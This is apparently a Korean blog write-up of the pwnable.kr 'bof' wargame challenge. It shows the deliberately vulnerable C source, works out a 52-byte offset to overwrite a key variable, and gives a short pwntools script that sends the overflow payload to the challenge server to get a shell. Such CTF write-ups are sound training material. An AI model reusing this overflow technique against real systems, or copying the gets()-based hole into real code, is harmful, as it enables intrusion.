Pwnable/Pwnable.kr
[Pwnable.kr] bof 문제 풀이!![재업로드]
RootJJang
2022. 7. 7. 09:03
SMALL
나나가 버퍼 오버플로우는 가장 흔한 소프트웨어 취약점 중 하나라고 말했어여 진쫠까?
bof bof bof.... Buffer OverFlow 포너블에서 모르면 안 되는 요소 중 하나죠
그것에 관련된 문제 같습니다 함 풀어보죵
nc 서버로 접속을 해봅시다
엄 원래 overflow me : 후에 입력창이 떠야 하는데 입력창이 먼저 뜨네요 딱히 문제는 없겠죠?
이제 파일들을 다운로드받아 분석해봅시당
소스 코드를 확인해보죠
┌──(kali㉿kali)-[~/다운로드]
└─$ cat bof.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
꽤나 간단한 코드네요
입력값 overflowme를 bof 시켜서 key값을 덮어씌워 0xcafebabe와 같게 하면 되겠네요
그럼 overflowme와 key 사이의 거리를 구해봅시다
두 번째 함수가 호출되기 전 ebp-0x2c에서 값을 불러오는데 그게 overflowme이고
cmp 부분을 보면 0xcafebabe와 ebp+0x8를 가리키는 값과 비교를 하는데 key 값이 위치한 곳이라고 알 수 있슴다
둘 사이의 거리는 0x8 - (-0x2c) = 0x34 -> 52(10)입니당
이제 더미값으로 52만큼 채우고 조건문을 만족시켜 쉘을 따내 봅시당
from pwn import *
p = remote("pwnable.kr", 9000)
pay = b"A"*52
pay += p32(0xcafebabe)
p.sendline(pay)
p.interactive()
익스 코드는 이렇슴다
아뽜, 나 버퍼 해킹했어!
LIST